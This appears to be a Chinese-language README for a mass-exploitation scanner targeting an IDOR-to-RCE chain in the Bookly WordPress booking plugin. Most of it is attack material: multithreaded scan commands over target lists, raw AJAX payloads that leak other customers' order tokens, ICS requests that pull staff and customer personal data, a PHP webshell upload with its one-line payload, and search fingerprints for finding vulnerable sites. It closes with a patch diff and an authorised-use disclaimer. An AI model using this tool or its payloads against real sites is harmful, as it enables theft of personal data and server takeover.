Bookly <= 28.2 未授权 IDOR + PII 泄露 + RCE
针对 CVE-2026-93399(CVSS 9.1 严重)的大规模利用扫描器,影响 Bookly — Online Scheduling and Appointment Booking System WordPress 插件(版本 <= 28.2)。
WordPress 的 Bookly 插件通过 bookly_get_form_id、bookly_render_complete、bookly_add_to_calendar 和 bookly_rollback_order 这几个 AJAX 操作,容易受到 不安全的直接对象引用(IDOR) 攻击。所有操作均为未授权(_default => 'anonymous'),且 CSRF 保护已禁用(csrfTokenValid() 返回 true)。
bookly_get_form_id 处理程序会将攻击者控制的 form_data(包括 order_id)盲目存储到新的预订会话中,且没有任何验证。随后,bookly_render_complete 处理程序信任这个被注入的 order_id,用它查找并返回对应 Order 的密钥令牌——从而使未授权攻击者能够枚举连续的订单 ID、泄露其他客户的订单令牌、获取日历/预约信息,并永久删除任意未完成的预订。
Step 1: getFormId → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete → leak victim order token via Order::query()
Step 3: addToCalendar → extract customer PII (staff name, email, service, date)
Step 4: sessionSave → inject file payload (RCE, requires Files add-on)
_prepareFormData() 白名单和 _prepareCartData() 清理器)requests 库pip install requests
git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests
# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect
# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50
# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii
# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce
# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full
# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt
# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20
| 标志 | 描述 |
|---|---|
-u, --url | 单个目标 URL |
-f, --file | 包含目标 URL 的文件(每行一个) |
--detect | 仅检查版本(安全) |
--enumerate | IDOR:泄露订单令牌 |
--pii | 通过 ICS 日历导出提取 PII |
--rce | 尝试上传 webshell |
--full | 完整链路:IDOR + PII + RCE |
--start N | 起始 order_id(默认:1) |
--end N | 结束 order_id(默认:50) |
-th, --threads N | 线程数(默认:5) |
-o, --output FILE | 输出文件(默认:results.txt) |
-v, --verbose | 显示所有尝试 |
body="bookly-responsive-appointment-booking-tool"
body="BooklyL10nGlobal"
body="bookly-main.css?ver=28.2"
body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"
body="bookly-addon-files"
body="bookly-js-upload"
POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1
响应:
{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}
易受攻击的代码(Ajax.php:45-46):
$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2
POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...
响应:
{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}
易受攻击的代码(Ajax.php:733):
'bookly_order' => Lib\Entities\Order::query()
->where('id', $userData->getOrderId()) // attacker-controlled
->fetchVar('token') // victim token leaked
GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics
响应: 包含客户数据的 ICS 文件:
BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT
POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)
Shell 位置:/wp-content/uploads/bookly-files/shell.php
http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id
getFormId() 处理程序将整个 form_data 参数(用户可控的 JSON)存入会话数据库,没有任何白名单或清理。这使得攻击者可以注入任意会话键,包括 order_id。
renderComplete() 处理程序从会话中读取 order_id 并直接查询 Order 表——没有验证当前会话是否创建了该订单。
csrfTokenValid() 被重写为 return truepermissions() 返回 array('_default' => 'anonymous'),因此每个处理程序都同时注册了 wp_ajax_ 和 wp_ajax_nopriv_ 钩子版本 28.3 新增了 _prepareFormData()——一个严格的白名单,会剥离除显示设置(skip_service_step、hide_service_part1、hide_service_part2、defaults)之外的所有内容。同时还新增了 _prepareCartData() 来清理购物车项键。
// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));
通过 webshell 上传实现 RCE 需要:
bookly_files_upload AJAX 端点无需身份验证,并直接接受 multipart 文件上传。然而,Files 附加组件会根据允许列表验证文件扩展名。如果允许列表配置正确,所有 PHP 扩展名都会被阻止。
IDOR 会话注入还可以将文件载荷嵌入 form_data[data][info_fields]。当 saveAppointment 触发 Proxy\Files::attachCIFiles() 时,文件处理器会处理注入的数据。此路径要求 Files 附加组件处于启用状态,并取决于该附加组件对 attachCIFiles 的实现。
本工具仅供教育和授权测试目的使用。作者不对本工具造成的任何滥用或损害负责。在扫描或测试任何目标之前,请务必获得适当的授权。
MIT 许可证 — 详情请参阅 LICENSE 文件。